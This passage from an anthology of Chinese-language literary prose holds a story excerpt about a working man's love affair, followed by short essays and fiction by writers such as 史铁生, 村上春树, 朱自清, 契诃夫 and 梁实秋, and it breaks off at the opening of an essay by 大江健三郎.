　　可他越来越替她担忧了，她一个人怎么弄呢。还是住在一起好，一起买买菜，做爱也方便。性真是一个十分奇怪的东西，它是什么样的一种药，怎么就叫人那么轻松的呢。还有一点也是十分奇怪的，做得多了，人就变黏乎了，特别亲，就想好好地对待她。可到底怎么—个“对待”才算好，又说不上来了。不过，他的这么一点小小的心思在做爱的时候还是体现出来了。最初的时候，刚开始的时候，他是有私心的，一心只想着解决自己的“问题”。现在不同了，他更像一个哥哥，要体贴得多。他对自己尽可能地控制，好让她更快乐一些。她好了，他也就好了。他就希望她能够早一点好起来。

　　秋凉下来之后她回了一趟老家。他其实是想和她一起回去的，一想，不成了。离开户部街菜场两个星期，这个岗位是不可能等他的。多少比他壮实的人在盯着他的位置呢。他也就没有客套，只是在临走的时候给她买了几个水果，“路上吃吧。就这么啃，都洗过了。”

　　都说“小别胜新婚”。新婚的滋味是怎样的，他们不知道，然而，“小别”是怎样的胜境，他和她一起领略了。其实也就隔了两个星期，可这一隔，不一般了。他在呼风，她能唤雨。好死了。这一次她却没有给他打分，她露出了她骄横的、野蛮的和不管不顾的那一面，反反复复地要。后来还是他讨饶了，可怜兮兮说：“不能了。还有夜班呢。”

　　“不管。你是哥，你就得对我好一点。”

　　那就再好一点吧。他们是下午上床的，到深夜十点她还没有起床的意思。到后来，他实在也“好”不出什么来了，她就光着身子，躺在他光溜溜的怀里，不停地说啊说，还用胳膊反过来地勾住他的脖子。两个人无限地欣喜、无限地缠绵了。她突然“哦”了一声，想起什么来了，弓着腰拽过上衣，从上衣的口袋里面掏出了她的手机。她握住手机，说：“哥，商量个事好不好？”他的双手托住了她的乳房，下巴搁在她的肩膀上，脑袋一抬，说：“说吧。”她从手机里调出一张相片，是一个男人，说：“这个人姓赵，单身，年收入大概在十六万左右。”她噼里啪啦摁了几下键钮，又调出了一张相片，却是另外一个男人，说：“这个呢，姓郝，离过一次，有一个七岁的女儿，年收入在三十万左右，有房，有车。”介绍完了，她把手机放在自己的大腿上，握住了他的手，她把她的五只手指全都嵌在了他的指缝里，慢慢地摩挲，“我就想和你商量商量——你说，哪一个好呢？”

　　他把手机拿过来，反复地比较，反复地看，最终说：“还是姓郝的吧。”她想了想，说：“其实我也是这么想的。”他说：“还是收入多一些稳当。”她说：“其实我也是这么想的。”商量的进程是如此地简单，结论马上就出来了。她就特别定心、特别疲惫地躺在了他的怀里，手牵着手，一遍又一遍地摩挲。后来她说：“哥，给我穿衣裳好不好嘛。”撒娇了。他就光着屁股给她穿好了衣裳，还替她把衣裤上的褶皱都拽了一遍。他想送送她，她说，还是别送了吧，还是赶紧地吃点东西去吧。她说，还有夜班呢。

　　他就没送。她走之后他便坐在了床上，点了一根烟，附带把她掉在床上的头发捡起来。这个疯丫头，做爱的时候就喜欢晃脑袋，床单上全是她的头发。他一根一根地拣，也没地方放，只好绕在了左手食指的指尖上。抽完烟，掐了烟头，他就给自己穿。衣服穿好了，他也该下楼吃饭去了。走到过道的时候他突然就觉得左手的食指有点疼，一看，嗨，全是头发。他就把头发撸了下来，用打火机点着了。人去楼空，可空气里全是她。她真香啊。

笨人

亦舒

　　一位成功人士对记者说：“我并不聪明，但我很勤力。”

　　笨人看了，十分安慰。

　　总有点帮助吧，人家读一次，我读一百次，人家跳罢舞才做功课，我黎明即起，埋头苦干。

　　资质不如人，唯有多下苦工。

　　勤力的牛虽然无可能名利双收，至低限度，有草裏腹。

　　当然佩服懂得利用机会走捷径的聪明人，出场之际，已晓得找人抬轿、开路，边走边拢络打手，随时把异己者打个稀巴烂，假以时日，事半功倍，前途无可限量。

　　不过渐渐发觉做笨人反而有好处，以不变应万变绝对省力，可专心工作，但见聪明人兜兜转转，偏偏遇着人算不如天算，变了千变也是白变。

　　随便举个例：一人不识，活该寂寞，相识遍天下者，何尝不在太息知己无一人，故何必劳碌地拢络朋友。

　　笨是至佳藉口：我笨，只会得死干，不懂其他，我妈什么都教我，奈何。

　　到后来，发觉得到的也并不比锱铢必计的聪明人少，笨人自有笨方。

角色

史铁生

　　在电影里，我见过一排十几个也许二十几个刚出生不久的孩子。产科的婴儿室一尘不染，他们都裹在白色的襁褓里一个紧挨一个排成一排，睡着，风在窗外摇动着老树的枝叶但这个世界尚未惊动他们，他们睡得安稳之极，模样大同小异。

　　那时我想：曾经与我紧挨着的那两个孩子是谁呢？（据悉我也是在医院里出生的，想必我也有过这样的时刻和这样的一排最初的伙伴儿。）与我一同来到人间的那一排孩子，如今都在做着什么都在怎样生活？当然很难也不必查考。世上的人们都在做着什么，他们也就可能在做着什么，人间需要什么角色他们也就可能是什么角色。譬如部长，譬如乞丐，譬如工人、农民、教授、诗人，毋庸讳言譬如小人，当然还譬如君子。

　　可以想见，至少几十上百年内人间的戏剧不会有根本的改动，人间的戏剧一如既往还是需要千差万别的各种角色。那么电影里的那一排孩子将来都可能做什么都可能成为什么角色，也就大致上有了一个安排方案，有了分配的比例。每天每天都有上百万懵懂但是含了欲望的生命来到人间。欲望，不应该受到指责，最简单的理由是：指责，已经是欲望的产物。但是这一排生命简直说这一排欲望，却不可能得到平等的报答。这一排天真无邪稚气可掬的孩子，他们不可能都是爱因斯坦，也不可能都是王小二，不可能全是凡夫俗子也不可能全是巾帼豪杰，这都不要紧这都不值得伤脑筋，最最令人沮丧的是他们不可能都有幸福的前程不可能都交好运，同样，也不可能都超凡入圣或见性成佛。即便有九十九个幸福而光荣的位置相应只有一个痛苦或丑陋的位置在前面，在未来等待着这些初来乍到的生命，令人沮丧的局面也毫无改观：谁，应该去扮演那不幸的一个？和，为什么？

　　我不相信这个问题可能有一个美满的答案。释迦世尊的回答可能是最为精彩的回答，“我不入地狱，谁入地狱”。地藏菩萨也说，“地狱未空，誓不成佛”。但是在他们这样回答之时他已经超越痛苦步入慈悲安详，在他这样回答之后他已经脱离丑陋成了英雄好汉，可问题呢，依旧原封不动地摆在那里未得答案。因为正像总统的位置是有限的，佛与菩萨的名额但愿能稍稍多一点而已。

　　我不再寻找它的答案。尼采说：自从我厌倦了寻找，我便学会了找到。

　　有一个朋友死了。K，她在命运的迷茫之中猝然赴死。爱她的人说，要是我们早一点知道，我们可以使她不死。是的，这是可能的。但是，谁能让亿万命途都是晴空朗照？谁能保障这世上没有人在迷茫中痛不欲生？K 这样去死了，或者其实是：有一个人这样去死了，这个人的名字恰恰叫做 K。因为产科婴儿室里的那一排初来乍到的可爱的伙伴，都还没有名字。

　　有一个人双腿瘫痪了。S，他自己不知道为什么就连医生也不知道为什么，但是他再想站起来走一分钟都不可能了。爱他的人说将来，将来也许会有办法让他重新站起来走。可能的，在不规定期限的将来这是可能的。但是不管多么长久的将来，人间也不可能完全消灭伤病，医学的前途不可能没有新的难题。那么将来的一个身患不治之症的人，对他自己和对爱他的人来说与现在这个 S 有什么不同呢？现在是将来的过去，现在是过去的将来，将来是将来的现在。产科婴儿室里每天都有一排初来乍到的可爱的伙伴，他们都还没有名字。

　　有一个人步入歧途。L，也许因为贫穷，也许因为愚昧，也许因为历史的造就，他犯了罪甚至可能是不可饶恕的罪。爱他的人说：贫穷、愚昧和历史，难道应该由他一个人来负责吗？为什么他不可饶恕？是的，他不可饶恕，因为人类前行要以此标明那是歧途。但是人类还要前行，还要遇到歧途还要标明那是歧途。产科婴儿室里那些初来乍到的可爱的伙伴他们还都没有名字，他们之中的谁，将叫做 L？

　　有一天，不是在电影里也不是在产科婴儿室，我看见一排正在离去或者已经离去的伙伴，一个挨着一个排成一排，安静之极，风在窗外摇动老树的枝叶但世界已不再惊扰他们了。用任何尘世的名字呼唤他们，他们不应。他们有一个共同的名字：死者。

肉体有千万种受难的形态

张晓风

　　我因事去找一位医生，那天我自己并不看病，便坐在诊疗室里等他看完最后几位病人。

　　这时进来一位 60 岁左右的妇人。

　　“哪里不舒服？”医生不怒自威。

　　妇人蹙着眉，诉起苦来：“早上起来，这膀子呀，说不出的不舒服……”

　　医生捏捏她的肩膀。

　　“痛不痛？”

　　“不痛。”

　　“酸不酸？”

　　“不酸。”

　　“又不痛，又不酸——那你来看什么？”

　　“我……”妇人一时语塞。

　　我听得着急。这医生并不是坏人，但他的词汇怎么就这么贫乏呢？难道人的身体不会发生酸痛以外的不舒服吗？

　　我忍不住插嘴：“是不是僵？”

　　妇人高兴起来：“啊，对，就是‘僵’！早上起来，整个膀子都‘僵’！”医生低头“画”了些字，大概在开药吧。我不好意思再多说什么，我当时心中其实很想多叮咛他几句，我想说：医生啊，你知道你在干什么吗？你在“医”人啊！

　　而人又是一个多么复杂精明的生物，这种生物不是每一个都能把自己整理得有条不紊的；不是每一个都能把自己分析得头头是道的。他们是迷乱的、颠倒的、词不达意的，他们有时并不一定知道自己在干些什么。

　　在这一桩桩病情申诉里，充满了肉体无辜的“冤情”，医生有时也是法官吧。某人妻子的肺癌，是一部她丈夫的抽烟史；某位父亲的十二指肠溃疡，是缘于独子的一场车祸。他们来看病，其实也是来看他们生命里的悲情。诊疗室有如神父据守的神龛，可以听尽天下苍生的谶语和申诉。

　　因此，医生啊，能否让自己的语言再精确一点，再丰富一点，再推敲仔细一点——要知道，你和病人共同形容的，是一个活生生的生命啊！

　　在既不酸又不痛之外，医生啊，肉体还有千万种受难的形态都等待申诉呢！

比莉 · 荷莉黛的故事

村上春树

　　不时有年轻人问：“爵士是怎样一种音乐？”碰到这般突如其来、仿佛用黏土砸向水泥墙的问法，被问者也无言以对，只能无奈地苦苦思索。打个比方，这就像提问“纯文学是怎样一种文学”，并没有“这便是它”般一语道破玄机的具体定义。

　　但即使没有定义，在某种程度上熟听过爵士乐的人，只消耳边滑过一句旋律，当即就能判断：“啊，这就是爵士！”“不对，这不是爵士！”这归根结底是经验性、实际性的判断，而非将“何谓爵士”的判断基准当作尺度一一应用和思索。不管谁怎么说，爵士都有固有的气味、固有的回响、固有的手感。将是爵士乐和非爵士乐的东西两两相比较，气味不同，回响不同，手感不同，带来的心跳方式也不同。至于如何不同，若无实际经验就不可能知道，用语言向未曾经历过的人解释简直是难上加难。

　　可我姑且算是卖文为生的人，可不能像市井的闲赋老者那般，轻易地宣称：“这种事情经验就是一切，不是靠解释就能弄明白的。不管啥都行，你先听熟十来张爵士 CD，然后再来找我。”尽管这么说会很轻松（我想这恐怕才是正常的回应），但假如这样拒人千里地作答，谈话势必进入僵局，无以为继。对文笔家的工作来说，这不是正确的方式。

　　爵士，是怎样一种音乐？

　　我来说说比莉·荷莉黛的故事。

　　那是很久以前了。距今三十年以前。是我成为小说家之前，不如说，说在我脑袋里毫无写小说念头的时代发生的事。那是真人真事。我那时候在东京国分寺市的车站南口一栋小楼的地下室里经营爵士酒吧。面积约为十五坪，一隅放着立式钢琴，周末常常举行现场演奏会（后来搬到千驮谷时，才弄到一架三角大钢琴）。欠了一身债，工作又是重体力活，但老实说这些都不在话下。我才二十五六岁，只要愿意干活，再怎么干也不觉得累，也不以贫困为苦。从早到晚工作可以尽情地听喜欢的音乐，仅此便足够幸福。

　　国分寺靠近立川，所以时有美国大兵不期而至，尽管为数不多。其中有位非常安静的黑人。他大多同一位日本女子相伴前来。是个苗条女子，年龄大约二十六往上。我不知道两人究竟是恋人还是朋友。不过看起来也许更像“挚友”。我对这一记忆犹新，因为即便冷眼旁观，两人的距离感也令人心生好感。既不缠绵亲昵，也不客套见外。他们安静地喝酒，小声而愉快地交谈，听着爵士。他不时把我喊去，要我播放比莉·荷莉黛的唱片。嗯，只要是比莉·荷莉黛，啥曲子都行。

　　我记得有一次，他听着比莉·荷莉黛的歌哭了。夜已深，几乎没有其他客人。那次他是独自一人还是与那位女子一道，我记不清了。播放的是比莉·荷莉黛哪一首歌，我也印象模糊。总之他坐在吧台角落的位置，用两只大手捂着脸，肩膀颤动，静静地啜泣。我当然尽量不将目光投向那边，在稍远处干着活。比莉·荷莉黛的唱片播放完后，他静静地离席，付账，推门而去。

　　我记得那是最后一次见他。然后一年多过去，就在我差不多快把那个黑人大兵忘掉的时候，常和他一起来店里的女子忽然现身了。她一个人。那是个雨夜，当时店里同样很闲，客人寥寥无几。她穿了件雨衣。我至今仍依稀记得当时下的雨，以及她雨衣的气味。记得季节是在秋天。秋夜下雨的时候，还有店内安静的时候，通常我会把莎拉·沃恩唱的《九月的雨》放到唱盘上。我想那天夜里大概也是如此。就是这样一个夜晚。

　　她坐在吧台前，望着我的脸莞尔一笑，道了声“晚上好”。我也回一声“晚上好”。她要了威士忌，我调好递给她。随后她告诉我，他不久前回国了。每当他怀念留在故国的亲人，就来我的店里听比莉·荷莉黛的唱片。他很中意我的店。她仿佛留恋不已似的，对我说这些。

　　“前几天他写信给我。”她对我说，“说‘代我到那家店里去听听比莉·荷莉黛’。”说完她嫣然一笑。我从唱片架上挑选了一张比莉·荷莉黛的老唱片，放到唱盘上，然后将舒尔 3 型唱针轻轻放在声槽上。LP 唱片真是个好东西，让人觉得在播放它时我们所做的一连串动作，与周遭形态各异的种种营生温柔地联系在一起。有朝一日 LP 唱片竟会落伍于时代之类，当时我想也没想过。不过这么说的话，我同样没想过有朝一日自己会成为小说家，一天天老去。

　　比莉·荷莉黛的唱片播放完后，我抬起唱针，将唱片装入封套中，放回架上。她将杯里的威士忌一饮而尽，起身离席，宛如为奔赴外部世界作特别准备一般，小心翼翼地穿上雨衣。离去时她说：“承蒙多方关照，谢谢啦。”我无言以对点点头，然后说：“也谢谢您。”接下来该说什么才好，当时我想不出来，没有词语涌上舌尖。恐怕我当时该说两句郑重其事的话，说两句能表明心迹的话。可是历来如此，每逢这种场面肯定不会有妙语浮上脑际。这当然遗憾。因为在这个世界上，许多别离径直就是永别。因为当时未能说出口的话，就将永远无处可说。

　　直至今日，每当我聆听比莉·荷莉黛的歌曲，便常常想起那位安静的黑人大兵。想起那个心头思念着遥远的故土、坐在吧台一角无声啜泣的男人。想起他面前那杯威士忌中静静融化的冰块。还有那位代远去的他前来聆听比莉·荷莉黛唱片的女子。想起她雨衣的气味。然后，想起过于年轻、过于腼腆，因而不知畏惧，寻觅不到妙语将所思所想送达别人内心，几乎束手无策的我自己。

　　如果有人问我：“爵士是怎样一种音乐？”我只能这么回答：“这就是爵士啊。”对我来说，爵士就是这样一种存在。虽然定义太长，不过说实话，关于爵士这种音乐，我没有比这更有效的定义了。

谈抽烟

朱自清（选自《你我》1936 年 3 月）

　　有人说，“抽烟有什么好处？还不如吃点口香糖，甜甜的，倒不错。”不用说，你知道这准是外行。口香糖也许不错，可是喜欢的怕是女人孩子居多；男人很少赏识这种顽意儿的；除非在美国，那儿怕有些个例外。一块口香糖得咀嚼老半天，还是嚼不完，凭你怎么斯文，那朵颐的样子，总遮掩不住，总有点儿不雅相。这其实不像抽烟，倒像衔橄榄。你见过衔着橄榄的人？腮帮子上凸出一块，嘴里不时地嗞儿嗞儿的。抽烟可用不着这么费劲；烟卷儿尤其省事，随便一叼上，悠然的就吸起来，谁也不来注意你。抽烟说不上是什么味道；勉强说，也许有点儿苦罢。但抽烟的不稀罕那“苦”而稀罕那“有点儿”。他的嘴太闷了，或者太闲了，就要这么点儿来凑个热闹，让他觉得嘴还是他的。嚼一块口香糖可就太多，甜甜的，够多腻味；而且有了糖也许便忘记“我”。

　　抽烟其实是个玩意儿。就说抽卷烟罢，你打开匣子或罐子，抽出烟来，在桌上顿几下，衔上，擦洋火，点上。这其间每一个动作都带股劲儿，像做戏一般。自己也许不觉得，但到没有烟抽的时候，便觉得了。那时候你必然闲得无聊；特别是两只手，简直没放处。再说那吐出的烟，袅袅地缭绕着，也够你一回两回的捉摸；它可以领你走到顶远的地方去。——即便在百忙当中，也可以让你轻松一忽儿。所以老抽烟的人，一叼上烟，真能悠然遐想。他霎时间是个自由自在的身子，无论他是靠在沙发上的绅士，还是蹲在台阶上的瓦匠。有时候他还能够叼着烟和人说闲话；自然有些含含糊糊的，但是可喜的是那满不在乎的神气。这些大概也算得游戏三昧罢。

　　好些人抽烟，为的有个伴儿。譬如说一个人单身住在北平，和朋友在一块儿，倒是有说有笑的，回家来，空屋子像水一样。这时候他可以摸出一支烟抽起来，借点儿暖气。黄昏来了，屋子里的东西只剩些轮廓，暂时懒得开灯，也可以点上一支烟，看烟头上的火一闪一闪的，像亲密的低语，只有自己听得出。要是生气，也不妨迁怒一下，使劲儿吸他十来口。客来了，若你倦了说不得话，或者找不出可说的，干坐着岂不着急？这时候最好拈起一支烟将嘴堵上等你对面的人。若是他也这么办，便尽时间在烟子里爬过去。各人抓着一个新伴儿，大可以盘桓一会的。

　　从前抽水烟旱烟，不过一种不伤大雅的嗜好，现在抽烟却成了派头。抽烟卷儿指头黄了，由它去。用烟嘴不独麻烦，也小气，又跟烟隔得那么老远的。今儿大褂上一个窟窿，明儿坎肩上一个，由它去。一支烟里的尼古丁可以毒死一个小麻雀，也由它去。总之，蹩蹩扭扭的，其实也还是个“满不在乎”罢了。烟有好有坏，味有浓有淡，能够辨味的是内行，不择烟而抽的是大方之家。

午夜的汽笛

村上春树

　　女孩问男孩：“你喜欢我喜欢到什么程度？”

　　少年想了想，用沉静的声音说：“半夜汽笛那个程度。”

　　少女默默地等待下文——里面肯定有什么故事。

　　“一次，半夜突然醒来。”他开始讲述，“确切时间不清楚，大约两三点吧，也就那个时间。什么时候并不重要，总之是夜深时分，我完完全全孤单一人，身边谁也没有。好吗，请你想象一下：四下漆黑一片，什么也看不见，什么也听不见，就连时钟声都听不见，也可能钟停了。我忽然觉得自己正被隔离开来，远离自己认识的人，远离自己熟悉的场所，远得无法置信。在这广大世界上不为任何人爱，不为任何人理解，不为任何人记起——我发现自己成了这样的存在。即使我就这么消失不见，也没有人察觉。那种心情，简直就像被塞进厚铁箱沉入深海底。由于气压的关系，心脏开始痛，痛得像要咔哧咔哧裂成两半。这滋味你可知道？”

　　少女点点头。想必她是知道的。

　　少年继续说道：“这大概是人活着的过程中所能体验到的最难以忍受的一种感觉。又伤心又难受，恨不得直接死掉算了。不不，不是这样，不是死掉算了，而是假如放在那里不管，就真的死掉了，因为铁箱里的空气越来越稀薄了。这可不是什么比喻，是真的。这也就是深夜里孤单单醒来的含义。这你也明白？”

　　少女再次默默点头。少年停了一会儿。

　　“不过当时听见很远很远的地方有汽笛声，非常非常遥远。到底什么地方有铁路呢？莫名其妙。总之就那么远。声音若有若无，但我知道那是火车的汽笛声，肯定是。黑暗中我竖耳细听，于是又一次听到了汽笛声。很快，我的心脏不再痛了，时针开始走动，铁箱朝海面慢慢浮升。而这都是因为那微弱的汽笛声的关系。汽笛声的确微弱，听见没听见都分不清，而我就像爱那汽笛一样爱你。”

马戏团的秘密

星新一

　　一段时期，某马戏团红得不得了，每种动物都会表演一套精彩的节目，使得每天前来观看的人络绎不绝。

　　一个寂静的夜晚，满座的观众早已离去。马戏团的团长准备回自己的房间去好好地睡上一觉。

　　就在这时，有人来拜访了。因为素不相识，团长问道：

　　“您是谁啊？”

　　“我是刚才看马戏表演的人。演得实在好极了，像兔子爬树什么的，我还是第一次看到。真是妙极了！”

　　听了他这番恭维话，团长倒颇有点飘飘然了，连本想说的：“我累了，请您快点回去吧！”之类的话，也给忘了。

　　“是啊。如果大家感到有趣的话，那真是没有比这再叫人高兴的了！”

　　“人人都很喜欢呢，那只看上去很凶猛的老虎，竟然像猫似的驯顺极了。虽然我还不知道您是用的什么办法，可您能把它们训练到这种程度，那就该称得上是伟大的天才啰！”

　　由于被过分的称赞，团长一下子精神抖擞起来。他兴致大发，喋喋不休地讲起训练方法：“训练动物可并不是什么了不起的事。不过，在制作训练装置上却煞费了苦心。花了好多岁月，也曾几度失败。”

　　说着，团长那出只手电筒样的东西，上面装有一个标度盘以及一些形状复杂的线圈。那人两眼直勾勾地盯着这个玩意儿，一边问道：

　　“这，这是什么？”

　　“简单说来，这是一种用电波给动物施催眠术的装置。您看到了吧，在标度盘上画有许多动物。”

　　“也有猫呢！”

　　“把刻度对准有猫的地方，然后朝着老虎一按电钮，于是老虎受到催眠，会信以为自己是一只猫。”

　　“原来驯服动物是这么一回事！在马戏团里面，还有会洗衣服的狮子呢。”

　　“是的。您也许还看到会打铃的牛、会跳越高台的猪吧！那都是靠这个装置起作用的结果。另外，要想使动物恢复原状时，只要对上零的刻度，按一下电钮就行了。”

　　团长得意洋洋地解释了一番。那人听着听着，不由得探出身子，两眼放出光芒：

　　“这么说来，只要有了这种装置，谁都能马上办起马戏团啰。请务必把这个装置让给我！”

　　“不行，这是我好不容易制作出来的东西。这个玩意儿，随便人家出多少钱，我也不能让出去。”

　　团长一口回绝，可那人仍不死心：“我真是想要的不得了，假如你真的不想让的话……”

　　那人从口袋里掏出一把刀子，想要扑过来。可谁知团长早已按下了训练装置按钮。接着，团长一边收拾起装置，一边自言自语道：“哎呀呀，这个粗野无礼的家伙，我要惩罚他一下，让他也像这个样子在马戏团里干上一阵子。”

　　第二天，马戏团里又增加了个颇受欢迎的演员，那可不是动物，而是一个善于模仿黑猩猩的丑角。他学得可真像，简直同真的黑猩猩毫无两样。

　　“嘿，怎么会学得那么像呢？”观众交头接耳，颇觉不可思议，但又极其高兴地拍手鼓掌。

打赌

契诃夫

　　一个昏暗的秋夜，老银行家回忆起了 15 年前举办的一次晚会，大家谈到了死刑问题。有些人认为世界各地都应废除死刑，而代之以无期徒刑。

　　“我不同意诸位的看法，”举办晚会的银行家说，“死刑是立即处死，可是终身监禁却是把人缓慢地处死，使人受好多年罪。你说哪一个更合乎人道主义呢？”一位 25 岁的年轻律师说：“我当然赞成无期徒刑。好死不如赖活着嘛。”大家激烈地争论起来。银行家突然冲着那年轻人嚷道：“你说的不对！我敢打赌，你要是甘愿单独被囚禁 15 年，我就付给你两百万卢布。”

　　“如果你说话算数，”那个年轻人说，“我甘愿囚禁 15 年。”“一言为定！”银行家嚷道。这场疯狂的愚眛的打赌居然执行了。那年轻人在最严密的监视之下，住在银行家的花园里某一个小屋中。

　　在监禁的第一年，他拒绝烟酒，他要的书籍，主要是轻松读物。

　　第二年，他只索取古典作品。第五年，他要求喝酒。从窗口监视他的人说，他除了吃喝便是躺在床上睡觉，或是愤怒地自言自语。不止一次，听见他在哭泣。

　　第六年的上半年，被监禁者开始学习语言、哲学、历史。从那时起的四年时间，应他的请求买了六百来卷书。

　　第十年以后，被监者在桌前静坐不动，除了《福音书》外什么书也不看。后来，被监禁者又读了神学书籍和宗教史。

　　老银行家想：“明天 12 点钟他就要重新获得自由了。我得要付给他两百万卢布，这样我就会倾家荡产。”

　　老银行家悄无声息地穿上大衣走出去，来到了小屋窗外。桌旁一动不动地坐着一个人，他的脸色蜡黄，双颊瘪了进去，背脊瘦而狭长，一只手支着乱蓬蓬的头，谁也不会相信，他只有 40 岁。他睡着了，桌上放着一张纸。

　　银行家推门进去，看到上面的字句：“明天 12 点，我就要重新获得自由。在离开之前，我想对你说几句话。你的书本给了我智慧，可我现在鄙视智慧和人世间的幸福。这些都毫无价值，如过眼云烟一样漂浮，你们可能聪慧，美好，不可一世，可是到头来死神一下子把你们像地下掘洞的老鼠一样扫的无影无踪。你们的后嗣，你们的历史，将要和地球一起烧为灰烬或冻为冰块。为了以行动证明我的鄙视，我自动放弃两百万卢布，我将于规定时间的 5 小时前出去，从而违背契约，剥夺自己得到这笔钱的权利。”老银行家流着泪走出了小屋。

　　第二天早晨，几个看园人面色惨白地禀告小屋里的那个人不见了。银行家点点头，他来到小屋，从桌子上拿起那张自愿放弃两百万卢布的信函，回到家里锁进了防火保险箱。

握手

梁实秋

　　握手之事，古已有之，《后汉书》“马援与公孙述少同里闾相善，以为既至常握手，如平生欢。”但是现下通行的握手，并非古礼，既无明文规定，亦无此种习俗。大概还是剪了小辫以后的事，我们不能说马援和公孙述握过手便认为是过去有此礼节的明证。

　　西装革履我们都可以忍受，简便易行而且惠而不费的握手我们当然无无须反对。不过有几种人，若和他握手，会感觉痛苦。

　　第一是做大官或自以为做大官者，那只手不好握。他常常挺着胸膛，伸出一只巨灵之掌，两眼望青天，等你凑上去握的时候，他的手仍是直僵的伸着，他并不握，他等着你来握。你事前不知道他是如此爱惜气力，所以不免要热心的迎上去握，结果是孤掌难鸣，冷冰冰的讨一场没趣。而且你还要及早罢手，赶快撒手，因为这时候他的身体已转向另一个人去，他预备把那巨灵之掌给另一个人去握——不是握，是摸。对付这样的人只有一个办法，便是，你也伸出一只巨灵之掌，你也别握，和他作“打花巴掌”状，看谁先握谁！

　　另一种人过犹不及。他握着你的四根手指，恶狠狠的一挤，使你痛彻肺腑，如果没有寒暄笑语皆以俱来，你会误以为他是要和你角力。此种人通常有耐久力，你入了他的掌握，休想逃脱出来。如果你和他很有交情，久别重逢，情不自禁，你的关节虽然痛些，我相信你会原谅他的。不过通常握手用力最大者，往往交情最浅。他是要在向你使压力的时候使你发生一种错觉，以为此人遇我特善。其实他是握了谁的手都是一样卖力的。如果此人曾在某机关做过干事之类，必能一面握手，一面在你的肩头重重的拍一下子，“哈喽，哈喽，怎样好？”

　　单就握手时的触觉而论，大概愉快时也就不多。春笋般的纤纤玉指，世上本来少有，更难得一握，我们常握的倒是些冬笋或笋干之类，虽然上面更常有蔻丹的点缀，倒还不如熊掌。狄更斯的《大卫科伯菲尔》里的乌利亚，他的手也是令人不能忘的，永远是湿津津的冷冰冰的，握上去像是五条鳝鱼。手脏一点无妨，因为握前无暇检验，惟独带液体的手不好握，因为事后不便即揩，事前更不便先给他揩。

　　“有一桩事，男人站着做，女人坐着做，狗跷起一条腿儿做。”这桩事是——是握手。和狗行握手礼，我尚无经验，不知狗爪是肥是瘦，亦不知狗爪是松是紧，姑置不论。男女握手之法不同。女人握手无须起身，亦无须脱手套，殊失平等之旨，尚未闻妇女运动者倡议纠正。在外国，女人伸出手来，男人照例只握手尖，约一英寸至二英寸，稍握即罢，这一点在我们中国好像禁忌少些，时间空间的限制都不甚严。

　　朋友相见，握手言欢，本是很自然的事，有甚于握手者，亦未尝不可，只要双方同意，与人无涉。惟独大庭广众之下，宾客环坐，握手势必普遍举行，面目可憎者，语言无味者，想饱以老拳尚不足以泄忿者，都要一一亲炙，皮肉相接，在这种情形之下握手，我觉得是一种刑罚。

　　《哈姆雷特》中波娄尼阿斯诫其子曰：“不要为了应酬每一个新交而磨粗了你的手掌。”我们是要爱惜我们的手掌。

霍乱时期的爱情（节选）

加西亚 · 马尔克斯

　　如果说有什么东西在折磨着她，那就是一日三餐的永久惩罚。因为它们不仅仅必须按时，而且必须完美无瑕，必须符合他的喜好，但同时又不能去问他。而如果她真的问了——依照着那无数条仪式性的家庭礼节中的一条——他就会看着报纸，连眼皮也不抬地回答说：“随便什么都行。”他说的是真心话，而且和颜悦色，自认为没有哪个丈夫比他更好商量了。可到了吃饭的时候，“随便什么”就不行了，必须符合他的喜好，不能有半点瑕疵：肉不能有肉味儿，鱼不能有鱼味儿，猪肉不能吃出来疥疮的似的腥味，鸡肉不能吃出鸡毛的味道。即使不是吃芦笋的季节，也得不惜代价地为他找来，为的是让他能在自己的尿液的芬芳气息中怡然自得。她不怨他，只怨生活。但他是生活中难以安抚的主角。只要稍有怀疑，他就会把桌子上的盘子一推，说：“这顿饭没有用爱来做。”在这方面，他的灵感真是鬼使神差。有一次，他刚尝了一口甘菊茶，便把它推到远处，只说了一句：“这玩意儿有股窗户味儿。”她和女仆们都大吃一惊，因为谁也没喝过水煮窗户，她们尝了尝那壶茶，想弄明白是怎么回事，结果，还真有股窗户味儿。

　　他是个完美丈夫：从不会捡起地上的任何东西，也从不关灯，不关门。黑暗的清晨，如果他发现衣服上缺了一颗纽扣，她便会听见他说：“男人需要两个妻子，一个用来爱，一个用来钉扣子。”每天，当他喝第一口咖啡，喝第一勺冒着热气的汤时，都要发出一声撕心裂肺的号叫，大家对此已经不感到害怕了，接着他会长叹一声：“等我有一天离开了这个家，你们要明白，那是因为这种烫嘴的日子我过够了。”他说，只有在他服用泻药而不能吃饭的日子里，她们才把饭菜做得格外香，格外出色。他坚信这是妻子对他的背叛，以至于最后只要妻子不肯跟他一同吃泻药，他就坚决不吃。

　　他的不通情理让她十足厌烦，于是在生日那天，她向他要了一件不同寻常的礼物：由他掌管一天家务。他欣然接受了，而且果真从天一亮就开始掌权。他张罗了一顿丰富的早餐，却忘了她不喜欢吃煎鸡蛋，也不喝加了牛奶的咖啡。接着，他下令开始准备招待八位客人的生日午宴，并吩咐收拾屋子。他努力想比她操持得更好，但不到中午就不得不投降了，脸上没有丝毫愧色。从一开始，他就发现自己对什么东西放在哪儿一无所知，尤其是厨房里的东西。而女仆们也从中取乐，任由他每次为了找一样东西把所有都翻遍。十点钟时，还没决定午餐吃什么，因为家里的卫生还没有搞完，甚至连卧室都没有收拾完，卫生间没刷，卫生纸忘了放，床单忘了换，还忘了派司机去接孩子。他把女仆们的全职全搞混了：命令厨娘去整理床铺，让收拾床铺的女佣去做饭。十一点，客人马上就要到了，家里还是一团糟。费尔明娜。达萨重新担起了指挥的职责。她笑的要死，但并不像之前期望的那样感觉到胜利的得意，而是为丈夫在管理家务方面一无是处感到同情，这让她自己也很震惊。他为自己所受的重创叹了口气，找了个常用的理由来辩解：“至少，我管家不会比你给人治病差。”不过，这次的教训是有益的，而且不仅仅对他而言。随着时间的推移，两人殊途同归地得出了明智的结论，那就是：换一种方式，他们无法共同生活下去，换一种方式，他们也无法继续相爱——世上没有比爱更艰难的事了。

孩子为什么一定要上学

大江健三郎

　　在我迄今为止的人生历程中，我曾两次思考这个问题。重要的问题即使折磨人，也只能认真去思考，并且这种思考是一件很有意义的事情。即使问题没有得到最终解决，但曾经拿出时间对它认真加以思考本身，会在你将来想起它的时候，懂得它的意义。

　　我两次思考这个问题，十分幸运的是最终都得到了很好的答案，我认为那是我一生遇到的无数问题里，寻找到的最好的答案。

